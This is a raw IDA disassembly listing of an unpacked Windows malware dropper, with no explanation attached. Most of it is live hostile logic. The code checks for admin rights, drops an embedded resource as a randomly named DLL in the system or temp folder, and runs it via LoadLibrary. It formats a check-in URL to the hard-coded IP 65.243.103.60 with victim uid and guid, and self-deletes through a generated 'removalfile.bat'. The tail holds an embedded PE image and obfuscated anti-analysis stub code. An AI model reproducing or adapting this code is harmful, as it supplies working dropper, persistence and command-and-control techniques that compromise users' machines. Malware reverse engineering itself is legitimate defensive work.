; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; ; +-------------------------------------------------------------------------+ ; | This file is generated by The Interactive Disassembler (IDA) | ; | Copyright (c) 2007 by DataRescue sa/nv, <ida@datarescue.com> | ; | Licensed to: SRI, 1 computer, std, 05/2007 | ; +-------------------------------------------------------------------------+ ; ; Input MD5 : A1A1659005A82D7CC09CD260CCA87200 unicode macro page,string,zero irpc c,<string> db '&c', page endm ifnb <zero> dw zero endif endm .686p .mmx .model flat ; =========================================================================== ; [00001000 BYTES: COLLAPSED SEGMENT HEADER. PRESS KEYPAD "+" TO EXPAND] ; File Name : u:\work\a1a1659005a82d7cc09cd260cca87200_unpacked.exe ; Format : Portable executable for 80386 (PE) ; Imagebase : 400000 ; Section 1. (virtual address 00001000) ; Virtual size : 00008000 ( 32768.) ; Section size in file : 00008000 ( 32768.) ; Offset to raw data for section: 00001000 ; Flags E0000020: Text Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute _text segment para public 'CODE' use32 assume cs:_text ;org 401000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401000 proc near ; CODE XREF: sub_4015B3+9Bp var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ebx push esi push edi xor esi, esi push esi push 80h push 2 push esi push 1 push 40000000h push [ebp+arg_0] xor ebx, ebx call ds:dword_402008 ; CreateFileA mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_401052 push esi lea eax, [ebp+var_4] push eax mov [ebp+var_4], esi mov esi, [ebp+arg_8] push esi push [ebp+arg_4] push edi call ds:dword_402004 ; WriteFile test eax, eax jz short loc_40104B cmp [ebp+var_4], esi jnz short loc_40104B inc ebx loc_40104B: ; CODE XREF: sub_401000+43j ; sub_401000+48j push edi call ds:dword_402000 ; CloseHandle loc_401052: ; CODE XREF: sub_401000+29j pop edi pop esi mov eax, ebx pop ebx leave retn sub_401000 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401059 proc near ; CODE XREF: sub_4015B3+A8p var_128 = byte ptr -128h var_24 = byte ptr -24h var_14 = byte ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 128h push ebx push esi push edi mov esi, offset aAzxcdsweq ; "azxcdsweq" lea edi, [ebp+var_14] movsd movsd lea eax, [ebp+var_14] push eax mov [ebp+var_8], 10h movsw call ds:dword_402018 ; lstrlenA push 104h lea eax, [ebp+var_128] push eax xor esi, esi push esi call ds:dword_402014 ; GetModuleFileNameA mov edi, ds:dword_402008 push esi push esi push 3 pop ebx push ebx push esi push ebx push 80000000h lea eax, [ebp+var_128] push eax call edi ; CreateFileA cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_401148 push esi push esi push ebx push esi push ebx push 40000000h push [ebp+arg_0] call edi ; CreateFileA mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_4010E0 push [ebp+var_4] call ds:dword_402000 ; CloseHandle jmp short loc_401148 ; --------------------------------------------------------------------------- loc_4010E0: ; CODE XREF: sub_401059+7Aj mov edi, ds:dword_402010 push 2 push esi push 0FFFFFFF3h push [ebp+var_4] call edi ; SetFilePointer push esi lea eax, [ebp+var_8] push eax push [ebp+var_8] lea eax, [ebp+var_24] push eax push [ebp+var_4] call ds:dword_40200C ; ReadFile test eax, eax jnz short loc_401114 push [ebp+var_4] mov esi, ds:dword_402000 jmp short loc_401143 ; --------------------------------------------------------------------------- loc_401114: ; CODE XREF: sub_401059+AEj push 2 push esi push 0FFFFFFF3h push ebx mov [ebp+var_8], 0Dh call edi ; SetFilePointer push esi lea eax, [ebp+var_8] push eax push [ebp+var_8] lea eax, [ebp+var_24] push eax push ebx call ds:dword_402004 ; WriteFile test eax, eax mov esi, ds:dword_402000 push [ebp+var_4] jnz short loc_40114C loc_401143: ; CODE XREF: sub_401059+B9j call esi ; CloseHandle push ebx call esi ; CloseHandle loc_401148: ; CODE XREF: sub_401059+60j ; sub_401059+85j xor eax, eax jmp short loc_401151 ; --------------------------------------------------------------------------- loc_40114C: ; CODE XREF: sub_401059+E8j call esi ; CloseHandle push ebx call esi ; CloseHandle loc_401151: ; CODE XREF: sub_401059+F1j pop edi pop esi pop ebx leave retn sub_401059 endp ; =============== S U B R O U T I N E ======================================= sub_401156 proc near ; CODE XREF: sub_4013D6+40p arg_0 = dword ptr 4 arg_4 = byte ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] test ecx, ecx jbe short loc_401184 mov al, [esp+arg_4] push ebx mov bl, al mov bh, bl mov edx, ecx push edi mov edi, [esp+8+arg_0] shr ecx, 2 mov eax, ebx shl eax, 10h mov ax, bx rep stosd mov ecx, edx and ecx, 3 rep stosb pop edi pop ebx loc_401184: ; CODE XREF: sub_401156+6j mov eax, [esp+arg_0] retn sub_401156 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401189 proc near ; CODE XREF: sub_40166D+18p var_10 = dword ptr -10h var_8 = word ptr -8 var_4 = word ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi lea eax, [ebp+var_8] push eax call ds:dword_402084 ; GetCursorPos lea eax, [ebp+var_10] push eax call ds:dword_402020 ; GetSystemTimeAsFileTime call ds:dword_40201C ; GetTickCount movzx edx, [ebp+var_8] mov ecx, eax movzx eax, [ebp+var_4] shl eax, 10h or eax, edx imul ecx, eax imul ecx, [ebp+var_10] imul ecx, [ebp+var_10] xor edx, edx push 19h mov eax, ecx pop edi div edi mov esi, [ebp+arg_0] or [ebp+arg_0], 0FFFFFFFFh add dl, 61h sub [ebp+arg_0], esi mov [esi], dl loc_4011DE: ; CODE XREF: sub_401189+A9j mov eax, ecx and eax, 1 push 5 inc eax xor edx, edx pop ebx cmp eax, 1 lea edi, [esi+1] push 19h mov eax, ecx jnz short loc_401208 div ebx movsx eax, dl movsx edx, byte ptr [esi] add eax, edx cdq pop esi idiv esi add dl, 61h jmp short loc_401219 ; --------------------------------------------------------------------------- loc_401208: ; CODE XREF: sub_401189+6Aj div ebx movsx eax, dl movsx edx, byte ptr [esi] add eax, edx cdq pop esi idiv esi add dl, 41h loc_401219: ; CODE XREF: sub_401189+7Dj mov eax, ecx mov [edi], dl push 0Ah xor edx, edx pop ecx div ecx mov esi, edi mov ecx, eax mov eax, [ebp+arg_0] lea eax, [eax+esi+1] cmp eax, 8 jl short loc_4011DE push [ebp+arg_4] mov byte ptr [esi], 2Eh inc esi push esi call ds:dword_402070 ; lstrcpyA pop edi pop esi pop ebx leave retn sub_401189 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_401247 proc near ; CODE XREF: .text:0040170Ap var_470 = byte ptr -470h var_36C = byte ptr -36Ch var_268 = byte ptr -268h var_164 = byte ptr -164h var_60 = dword ptr -60h var_5C = byte ptr -5Ch var_34 = dword ptr -34h var_30 = word ptr -30h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_8 = dword ptr -8 var_1 = byte ptr -1 push ebp mov ebp, esp sub esp, 470h push ebx push esi push edi mov esi, 104h push esi lea eax, [ebp+var_36C] push eax xor ebx, ebx push ebx call ds:dword_402014 ; GetModuleFileNameA mov edi, 80h push edi lea eax, [ebp+var_36C] push eax call ds:dword_402030 ; SetFileAttributesA lea eax, [ebp+var_36C] push eax call ds:dword_40202C ; GetFileAttributesA cmp eax, edi jz short loc_401294 xor al, al jmp loc_4013A4 ; --------------------------------------------------------------------------- loc_401294: ; CODE XREF: sub_401247+44j lea eax, [ebp+var_470] push eax push esi mov [ebp+var_1], bl call ds:dword_402028 ; GetTempPathA mov edi, ds:dword_402070 lea eax, [ebp+var_470] push eax lea eax, [ebp+var_268] push eax call edi ; lstrcpyA mov esi, ds:dword_402074 push offset aRemovalfile_ba ; "removalfile.bat" lea eax, [ebp+var_268] push eax call esi ; lstrcatA push ebx push ebx push 2 push ebx push ebx push 40000000h lea eax, [ebp+var_268] push eax call ds:dword_402008 ; CreateFileA cmp eax, ebx mov [ebp+var_8], eax jz loc_4013A1 push ebx lea ecx, [ebp+var_1C] push ecx push 2Bh push offset a@echoOffDfDel1 ; "@echo off\r\n:df\r\ndel %1\r\nif exist %1 got"... push eax call ds:dword_402004 ; WriteFile push [ebp+var_8] call ds:dword_402000 ; CloseHandle lea eax, [ebp+var_268] push eax lea eax, [ebp+var_164] push eax call edi ; lstrcpyA push offset asc_4020F4 ; " \"" lea eax, [ebp+var_164] push eax call esi ; lstrcatA lea eax, [ebp+var_36C] push eax lea eax, [ebp+var_164] push eax call esi ; lstrcatA push offset asc_4020F0 ; "\"" lea eax, [ebp+var_164] push eax call esi ; lstrcatA push 10h pop ecx xor eax, eax lea edi, [ebp+var_5C] rep stosd mov [ebp+var_18], ebx lea edi, [ebp+var_14] stosd stosd stosd lea eax, [ebp+var_18] push eax lea eax, [ebp+var_60] push eax push ebx push ebx push ebx push ebx push ebx push ebx lea eax, [ebp+var_164] push eax push ebx mov [ebp+var_60], 44h mov [ebp+var_34], 1 mov [ebp+var_30], bx call ds:dword_402024 ; CreateProcessA push [ebp+var_14] mov esi, ds:dword_402000 test eax, eax setnz [ebp+var_1] call esi ; CloseHandle push [ebp+var_18] call esi ; CloseHandle loc_4013A1: ; CODE XREF: sub_401247+A5j mov al, [ebp+var_1] loc_4013A4: ; CODE XREF: sub_401247+48j pop edi pop esi pop ebx leave retn sub_401247 endp ; =============== S U B R O U T I N E ======================================= sub_4013A9 proc near ; CODE XREF: sub_4013D6+134p arg_0 = dword ptr 4 push 4 push 1000h push [esp+8+arg_0] push 0 call ds:dword_40206C ; VirtualAlloc retn sub_4013A9 endp ; =============== S U B R O U T I N E ======================================= sub_4013BD proc near ; CODE XREF: sub_4013D6+12Bp ; sub_4013D6+1B8p arg_0 = dword ptr 4 cmp [esp+arg_0], 0 jz short locret_4013D5 push 8000h push 0 push [esp+8+arg_0] call ds:dword_402034 ; VirtualFree locret_4013D5: ; CODE XREF: sub_4013BD+5j retn sub_4013BD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame fpd=78h sub_4013D6 proc near ; CODE XREF: sub_4015B3+Cp var_C4 = dword ptr -0C4h var_B4 = dword ptr -0B4h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_17 = byte ptr -17h var_16 = byte ptr -16h var_15 = byte ptr -15h var_14 = byte ptr -14h var_13 = byte ptr -13h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp lea ebp, [esp-78h] sub esp, 0C4h push ebx xor ebx, ebx push esi mov esi, 94h push esi lea eax, [ebp+78h+var_C4] push ebx push eax mov [ebp+78h+var_1C], ebx mov [ebp+78h+var_10], ebx mov [ebp+78h+var_4], ebx mov [ebp+78h+var_20], 400h mov [ebp+78h+var_8], ebx mov [ebp+78h+var_18], bl mov [ebp+78h+var_17], bl mov [ebp+78h+var_16], bl mov [ebp+78h+var_15], bl mov [ebp+78h+var_14], bl mov [ebp+78h+var_13], 5 call sub_401156 add esp, 0Ch lea eax, [ebp+78h+var_C4] push eax mov [ebp+78h+var_C4], esi call ds:dword_402050 ; GetVersionExA xor eax, eax inc eax cmp [ebp+78h+var_B4], eax jz loc_4015AC push edi push offset aAdvapi32_dll ; "advapi32.dll" call ds:dword_40204C ; LoadLibraryA mov edi, eax cmp edi, ebx mov [ebp+78h+var_C], edi jz loc_4015A8 mov esi, ds:dword_402048 push offset aAllocateandini ; "AllocateAndInitializeSid" push edi call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_30], eax jz loc_40159F push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress mov edi, eax cmp edi, ebx jz loc_40159F push offset aGettokeninform ; "GetTokenInformation" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_2C], eax jz loc_40159F push offset aEqualsid ; "EqualSid" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_24], eax jz loc_40159F push offset aFreesid ; "FreeSid" push [ebp+78h+var_C] call esi ; GetProcAddress cmp eax, ebx mov [ebp+78h+var_28], eax jz loc_40159F lea eax, [ebp+78h+var_8] push eax push ebx push ebx push ebx push ebx push ebx push ebx push 220h push 20h push 2 lea eax, [ebp+78h+var_18] push eax call [ebp+78h+var_30] test eax, eax jz loc_401578 lea eax, [ebp+78h+var_10] push eax push 8 call ds:dword_402044 ; GetCurrentProcess push eax call edi ; lstrcpyA test eax, eax jz loc_401578 mov esi, ds:dword_402040 loc_4014F9: ; CODE XREF: sub_4013D6+169j cmp [ebp+78h+var_4], ebx jz short loc_401507 push [ebp+78h+var_4] call sub_4013BD pop ecx loc_401507: ; CODE XREF: sub_4013D6+126j push [ebp+78h+var_20] call sub_4013A9 cmp eax, ebx pop ecx mov [ebp+78h+var_4], eax jz short loc_401578 push ebx call ds:dword_40203C ; RtlSetLastWin32Error lea eax, [ebp+78h+var_20] push eax push [ebp+78h+var_20] push [ebp+78h+var_4] push 2 push [ebp+78h+var_10] call [ebp+78h+var_2C] test eax, eax jnz short loc_40153B call esi ; RtlGetLastWin32Error cmp eax, 7Ah jnz short loc_401578 loc_40153B: ; CODE XREF: sub_4013D6+15Cj call esi ; RtlGetLastWin32Error test eax, eax jnz short loc_4014F9 mov eax, [ebp+78h+var_4] xor edi, edi cmp [eax], ebx mov [ebp+78h+var_1C], ebx jbe short loc_401578 mov esi, eax add esi, 8 loc_401552: ; CODE XREF: sub_4013D6+197j push dword ptr [esi-4] push [ebp+78h+var_8] call [ebp+78h+var_24] test eax, eax jz short loc_401564 test byte ptr [esi], 10h jz short loc_401571 loc_401564: ; CODE XREF: sub_4013D6+187j mov eax, [ebp+78h+var_4] inc edi add esi, 8 cmp edi, [eax] jb short loc_401552 jmp short loc_401578 ; --------------------------------------------------------------------------- loc_401571: ; CODE XREF: sub_4013D6+18Cj mov [ebp+78h+var_1C], 1 loc_401578: ; CODE XREF: sub_4013D6+100j ; sub_4013D6+117j ... cmp [ebp+78h+var_10], ebx jz short loc_401586 push [ebp+78h+var_10] call ds:dword_402000 ; CloseHandle loc_401586: ; CODE XREF: sub_4013D6+1A5j cmp [ebp+78h+var_4], ebx jz short loc_401594 push [ebp+78h+var_4] call sub_4013BD pop ecx loc_401594: ; CODE XREF: sub_4013D6+1B3j cmp [ebp+78h+var_8], ebx jz short loc_40159F push [ebp+78h+var_8] call [ebp+78h+var_28] loc_40159F: ; CODE XREF: sub_4013D6+8Dj ; sub_4013D6+9Fj ... push [ebp+78h+var_C] call ds:dword_402038 ; FreeLibrary loc_4015A8: ; CODE XREF: sub_4013D6+74j mov eax, [ebp+78h+var_1C] pop edi loc_4015AC: ; CODE XREF: sub_4013D6+5Bj pop esi pop ebx add ebp, 78h leave retn sub_4013D6 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4015B3 proc near ; CODE XREF: sub_40166D+2Dp var_8 = dword ptr -8 var_1 = byte ptr -1 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi mov [ebp+var_1], 0 call sub_4013D6 test eax, eax mov esi, ds:dword_402074 mov ebx, [ebp+arg_8] jz short loc_4015E7 push 104h push ebx call ds:dword_402078 ; GetSystemDirectoryA push offset asc_402164 ; "\\" push ebx call esi ; lstrcatA jmp short loc_4015F3 ; --------------------------------------------------------------------------- loc_4015E7: ; CODE XREF: sub_4015B3+1Cj push ebx push 104h call ds:dword_402028 ; GetTempPathA loc_4015F3: ; CODE XREF: sub_4015B3+32j push [ebp+arg_4] push ebx call esi ; lstrcatA push 80h push ebx call ds:dword_402030 ; SetFileAttributesA push 0 call ds:dword_402064 ; GetModuleHandleA push offset aBin ; "BIN" mov esi, eax push 68h push esi call ds:dword_402060 ; FindResourceA mov edi, eax test edi, edi jz short loc_401665 push edi push esi call ds:dword_40205C ; LoadResource test eax, eax jz short loc_401665 push eax call ds:dword_402058 ; SetHandleCount test eax, eax mov [ebp+var_8], eax jz short loc_401665 push edi push esi call ds:dword_402054 ; SizeofResource test eax, eax jz short loc_401665 push eax push [ebp+var_8] push ebx call sub_401000 add esp, 0Ch test eax, eax jz short loc_401665 push ebx call sub_401059 pop ecx mov [ebp+var_1], 1 loc_401665: ; CODE XREF: sub_4015B3+6Ej ; sub_4015B3+7Aj ... mov al, [ebp+var_1] pop edi pop esi pop ebx leave retn sub_4015B3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40166D proc near ; CODE XREF: .text:00401705p var_208 = byte ptr -208h var_104 = byte ptr -104h push ebp mov ebp, esp sub esp, 208h push esi xor esi, esi loc_401679: ; CODE XREF: sub_40166D+40j lea eax, [ebp+var_104] push offset aDll ; "dll" push eax call sub_401189 lea eax, [ebp+var_208] push eax lea eax, [ebp+var_104] push eax push 1 call sub_4015B3 add esp, 14h test al, al jz short loc_4016A9 push 63h pop esi loc_4016A9: ; CODE XREF: sub_40166D+37j inc esi cmp esi, 1Eh jl short loc_401679 cmp esi, 64h jnz short loc_4016DD lea eax, [ebp+var_208] push eax call ds:dword_40204C ; LoadLibraryA mov esi, eax test esi, esi jz short loc_4016DD push 1 push esi call ds:dword_402048 ; GetProcAddress test eax, eax jz short loc_4016D6 call eax loc_4016D6: ; CODE XREF: sub_40166D+65j push esi call ds:dword_402038 ; FreeLibrary loc_4016DD: ; CODE XREF: sub_40166D+45j ; sub_40166D+58j xor al, al pop esi leave retn sub_40166D endp ; --------------------------------------------------------------------------- sub esp, 104h push offset dword_403068 push offset dword_403000 lea eax, [esp+8] push offset aHttp65_243_103 ; "http://65.243.103.60/go//?cmp=vmtek_upd"... push eax call ds:dword_402080 ; wsprintfA add esp, 10h call sub_40166D call sub_401247 push 0 call ds:dword_402044 ; GetCurrentProcess push eax call ds:dword_402068 ; TerminateProcess add esp, 104h retn 10h ; --------------------------------------------------------------------------- align 4 dd 236h dup(0) dword_402000 dd 7C809B47h ; resolved to->KERNEL32.CloseHandle ; sub_401059+7Fr ... dword_402004 dd 7C810D87h ; resolved to->KERNEL32.WriteFile ; sub_401059+D7r ... dword_402008 dd 7C801A24h ; resolved to->KERNEL32.CreateFileA ; sub_401059+3Er ... dword_40200C dd 7C80180Eh ; resolved to->KERNEL32.ReadFiledword_402010 dd 7C810B8Eh ; resolved to->KERNEL32.SetFilePointerdword_402014 dd 7C80B4CFh ; resolved to->KERNEL32.GetModuleFileNameA ; sub_401247+1Cr dword_402018 dd 7C80BDB6h ; resolved to->KERNEL32.lstrlenAdword_40201C dd 7C80929Ch ; resolved to->KERNEL32.GetTickCountdword_402020 dd 7C8017E5h ; resolved to->KERNEL32.GetSystemTimeAsFileTimedword_402024 dd 7C802367h ; resolved to->KERNEL32.CreateProcessAdword_402028 dd 7C835DCAh ; resolved to->KERNEL32.GetTempPathA ; sub_4015B3+3Ar dword_40202C dd 7C81153Ch ; resolved to->KERNEL32.GetFileAttributesAdword_402030 dd 7C812782h ; resolved to->KERNEL32.SetFileAttributesA ; sub_4015B3+4Cr dword_402034 dd 7C809AE4h ; resolved to->KERNEL32.VirtualFreedword_402038 dd 7C80ABDEh ; resolved to->KERNEL32.FreeLibrary ; sub_40166D+6Ar dword_40203C dd 7C910340h ; resolved to->NTDLL.RtlSetLastWin32Errordword_402040 dd 7C910331h ; resolved to->NTDLL.RtlGetLastWin32Errordword_402044 dd 7C80DDF5h ; resolved to->KERNEL32.GetCurrentProcess ; .text:00401711r dword_402048 dd 7C80ADA0h ; resolved to->KERNEL32.GetProcAddress ; sub_40166D+5Dr dword_40204C dd 7C801D77h ; resolved to->KERNEL32.LoadLibraryA ; sub_40166D+4Er dword_402050 dd 7C812ADEh ; resolved to->KERNEL32.GetVersionExAdword_402054 dd 7C80BC69h ; resolved to->KERNEL32.SizeofResourcedword_402058 dd 7C80CC97h ; resolved to->KERNEL32.SetHandleCountdword_40205C dd 7C809FB5h ; resolved to->KERNEL32.LoadResourcedword_402060 dd 7C80BE89h ; resolved to->KERNEL32.FindResourceAdword_402064 dd 7C80B6A1h ; resolved to->KERNEL32.GetModuleHandleAdword_402068 dd 7C801E16h ; resolved to->KERNEL32.TerminateProcessdword_40206C dd 7C809A51h ; resolved to->KERNEL32.VirtualAllocdword_402070 dd 7C80BE01h ; resolved to->KERNEL32.lstrcpyA ; sub_401247+5Er dword_402074 dd 7C834D41h ; resolved to->KERNEL32.lstrcatA ; sub_4015B3+13r dword_402078 dd 7C814EEAh ; resolved to->KERNEL32.GetSystemDirectoryA align 10h dword_402080 dd 7E41A8ADh ; resolved to->USER32.wsprintfAdword_402084 dd 7E41BD76h ; resolved to->USER32.GetCursorPos align 10h dd 68h aRemovalfile_ba db 'removalfile.bat',0 ; DATA XREF: sub_401247+7Ao a@echoOffDfDel1 db '@echo off',0Dh,0Ah ; DATA XREF: sub_401247+B2o db ':df',0Dh,0Ah db 'del %1',0Dh,0Ah db 'if exist %1 goto df',0 aRundll32_exeSA db 'rundll32.exe %s,a',0 align 4 aAzxcdsweq db 'azxcdsweq',0 ; DATA XREF: sub_401059+Co align 10h asc_4020F0: ; DATA XREF: sub_401247+F5o unicode 0, <">,0 asc_4020F4 db ' "',0 ; DATA XREF: sub_401247+D7o align 4 aFreesid db 'FreeSid',0 ; DATA XREF: sub_4013D6+CFo aEqualsid db 'EqualSid',0 ; DATA XREF: sub_4013D6+BAo align 4 aGettokeninform db 'GetTokenInformation',0 ; DATA XREF: sub_4013D6+A5o aOpenprocesstok db 'OpenProcessToken',0 ; DATA XREF: sub_4013D6+93o align 4 aAllocateandini db 'AllocateAndInitializeSid',0 ; DATA XREF: sub_4013D6+80o align 10h aAdvapi32_dll db 'advapi32.dll',0 ; DATA XREF: sub_4013D6+62o align 10h aBin db 'BIN',0 ; DATA XREF: sub_4015B3+5Ao asc_402164: ; DATA XREF: sub_4015B3+2Ao unicode 0, <\>,0 aDll db 'dll',0 ; DATA XREF: sub_40166D+12o align 10h aHttp65_243_103 db 'http://65.243.103.60/go//?cmp=vmtek_update&lid=run&uid=%s&guid=%s' ; DATA XREF: .text:004016F6o db 0 align 4 dd 0C2h dup(0) dd 41564441h, 32334950h, 6C6C642Eh, 2CEh dup(0) dword_403000 dd 1Ah dup(0) dword_403068 dd 420h dup(0) dd 420003h, 4E0049h, 905A4Dh, 3, 4, 0FFFFh, 0B8h, 0 dd 40h, 8 dup(0) dd 0F8h, 0EBA1F0Eh, 0CD09B400h, 4C01B821h, 685421CDh, 70207369h dd 72676F72h, 63206D61h, 6F6E6E61h, 65622074h, 6E757220h dd 206E6920h, 20534F44h, 65646F6Dh, 0A0D0D2Eh, 24h, 1Fh dup(0) dd 4550h, 4014Ch, 8EE2E7C5h, 2 dup(0) dd 210E00E0h, 0A07010Bh, 5400h, 1000h, 1E000h, 5FA1h, 1000h dd 1F000h, 10000000h, 1000h, 200h, 4, 0 dd 4, 0 dd 26000h, 1000h, 0 dd 2, 100000h, 1000h, 100000h, 1000h, 0 dd 10h, 2 dup(0) dd 250D4h, 50h, 16h dup(0) dd 25000h, 58h, 4 dup(0) dd 7865742Eh, 74h, 1E000h, 1000h, 5400h, 400h, 3 dup(0) dd 0E0000020h, 7461642Eh, 61h, 5000h, 1F000h, 4200h, 5800h dd 3 dup(0) dd 40000040h, 6164722Eh, 6174h, 1000h, 24000h, 400h, 9A00h dd 3 dup(0) dd 0C0000040h, 6164692Eh, 6174h, 1000h, 25000h, 800h, 9E00h dd 3 dup(0) dd 40000040h, 5Ch dup(0) ; --------------------------------------------------------------------------- push ecx push 23152045h jmp short loc_404506 ; --------------------------------------------------------------------------- dd 0A766C1A8h, 43F2FD54h, 9F3EF9C0h db 0ECh, 0B5h ; --------------------------------------------------------------------------- loc_404506: ; CODE XREF: .text:004044F6j mov ecx, esp sub eax, [ecx] jmp short loc_404513 ; --------------------------------------------------------------------------- dd 31D8BB4Ah db 16h, 97h, 84h ; --------------------------------------------------------------------------- loc_404513: ; CODE XREF: .text:0040450Aj add esp, 4 jmp loc_40451F ; --------------------------------------------------------------------------- db 6Dh ; --------------------------------------------------------------------------- loc_40451F: ; CODE XREF: .text:00404519j pop ecx add eax, 23152045h jmp short loc_404537 ; --------------------------------------------------------------------------- dd 251C8FEEh, 0A108ABFAh, 0DDB487C6h ; --------------------------------------------------------------------------- push edx and esp, [eax] loc_404537: ; CODE XREF: .text:00404526j jmp short loc_404562 ; --------------------------------------------------------------------------- db 0AAh, 9Bh, 38h ; --------------------------------------------------------------------------- loc_40453C: ; CODE XREF: .text:loc_404562j jmp short loc_404575 ; --------------------------------------------------------------------------- dw 7611h dd 24DE477h, 4E495013h, 5A057C6Fh, 2681688Bh, 0B2BD1467h dd 0FEB98003h, 0A75AC5Fh, 0D6F1987Bh ; --------------------------------------------------------------------------- push edi inc esp loc_404562: ; CODE XREF: .text:loc_404537j jmp short loc_40453C ; --------------------------------------------------------------------------- sub eax, 29B0F362h loc_404569: ; CODE XREF: .text:loc_404575j jmp short loc_404598 ; --------------------------------------------------------------------------- scasb dec edi fsubr st(5), st mov edx, 8661C86Bh inc edi loc_404575: ; CODE XREF: .text:loc_40453Cj jmp short loc_404569 ; --------------------------------------------------------------------------- db 74h dd 0E0E3129Dh, 0C3F5E99h, 0F85B6A55h, 0A43736D1h, 10D3C20Dh dd 3C2F0E09h, 284B1AC5h, 0D427E641h ; --------------------------------------------------------------------------- loc_404598: ; CODE XREF: .text:loc_404569j push eax push edx push ecx mov ecx, ebx dec ecx cld pop ecx pop edx mov eax, edx push esi push ebx push edx pop esi neg ebx mov esi, 808A5Ah add esi, 80CB5Ah cld pop ebx pop esi pop eax push eax push ebx inc eax xor eax, edx neg eax mov bx, 4935h sbb eax, 80CD5Ah rep mov ebx, 80D8DAh test eax, ebx cld pop ebx pop eax mov eax, 80000000h push ecx push eax mov eax, eax dec ecx cld pop eax pop ecx cpuid jmp short loc_404612 ; --------------------------------------------------------------------------- db 0EDh, 22h, 0B3h ; --------------------------------------------------------------------------- loc_4045E8: ; CODE XREF: .text:loc_404612j jmp short loc_404625 ; --------------------------------------------------------------------------- dw 0E970h dd 0A59C0F6Eh, 21882B7Ah, 5D340746h, 59A0A3D2h, 15CCFF1Eh dd 91B81B2Ah, 0CD64F7F6h, 0C9D09382h, 85FCEFCEh ; --------------------------------------------------------------------------- fimul dword ptr [ebx] loc_404612: ; CODE XREF: .text:004045E3j jmp short loc_4045E8 ; --------------------------------------------------------------------------- db 0E8h ; --------------------------------------------------------------------------- loc_404615: ; CODE XREF: .text:loc_404625j jmp short loc_404640 ; --------------------------------------------------------------------------- db 1 dd 3D94E7A6h, 39008332h, 0F52CDF7Eh db 8Ah ; --------------------------------------------------------------------------- loc_404625: ; CODE XREF: .text:loc_4045E8j jmp short loc_404615 ; --------------------------------------------------------------------------- db 0FBh db 18h, 71h ; --------------------------------------------------------------------------- loc_40462A: ; CODE XREF: .text:loc_404640j jmp short loc_404655 ; --------------------------------------------------------------------------- dd 0ADC4D756h, 0A93073E2h, 655CCF2Eh, 0E148EB3Ah, 1DF4C706h ; --------------------------------------------------------------------------- loc_404640: ; CODE XREF: .text:loc_404615j jmp short loc_40462A ; --------------------------------------------------------------------------- dw 6392h ; --------------------------------------------------------------------------- pusha sbb esi, ebx mov edi, 0DBEAD58Ch js short loc_40469F mov dh, 0B7h and al, 8Dh inc edx push ebx nop loc_404655: ; CODE XREF: .text:loc_40462Aj cmp eax, 665B5001h jnz loc_4046A5 push ebx push eax shl ebx, 0Ah xor eax, ebp xor ebx, 80A89Ah cld pop eax pop ebx cmp edx, 7A7000h jnz loc_4046A5 push eax push edi and eax, 80A0DAh shl eax, 3Dh push ebp pop eax dec eax stc mov edi, 80E51Ah mov eax, ecx lea eax, ds:80A09Ah cld cld pop edi pop eax retn ; --------------------------------------------------------------------------- push edx push eax loc_40469F: ; CODE XREF: .text:0040464Cj shr eax, 0B1h cld pop eax pop edx loc_4046A5: ; CODE XREF: .text:0040465Aj ; .text:00404676j jmp loc_406A62 ; --------------------------------------------------------------------------- push ecx push edx cmp al, 0C2h inc edx cld pop edx pop ecx ; =============== S U B R O U T I N E ======================================= sub_4046B2 proc near ; CODE XREF: .text:00406A73p xor eax, eax push ebx push edi xor edi, eax xchg ebx, ebx mov ebx, 80E35Ah test eax, ebp and ebx, 80CEDAh neg ebx cld pop edi pop ebx mov eax, fs:[eax+30h] push esi push ecx xchg esi, esi rol esi, 34h test ecx, edx xor esi, edi xor ecx, edi cld pop ecx pop esi test eax, eax js loc_4047B7 push eax push edx cmp al, 0DEh mov eax, edx xchg edx, edx clc cld pop edx loc_4046F3: ; CODE XREF: sub_4046B2+A7j pop eax mov eax, [eax+0Ch] push eax push ecx mov ecx, 811F5Ah sbb eax, 80C81Ah xor eax, esp cmp ah, bl rcr ecx, 34h inc ecx cld loc_40470D: ; CODE XREF: sub_4046B2+BCj ; sub_4046B2+C0j pop ecx pop eax mov esi, [eax+1Ch] jmp short loc_404742 ; --------------------------------------------------------------------------- dd 33A26D84h db 0F0h, 69h, 0EEh ; 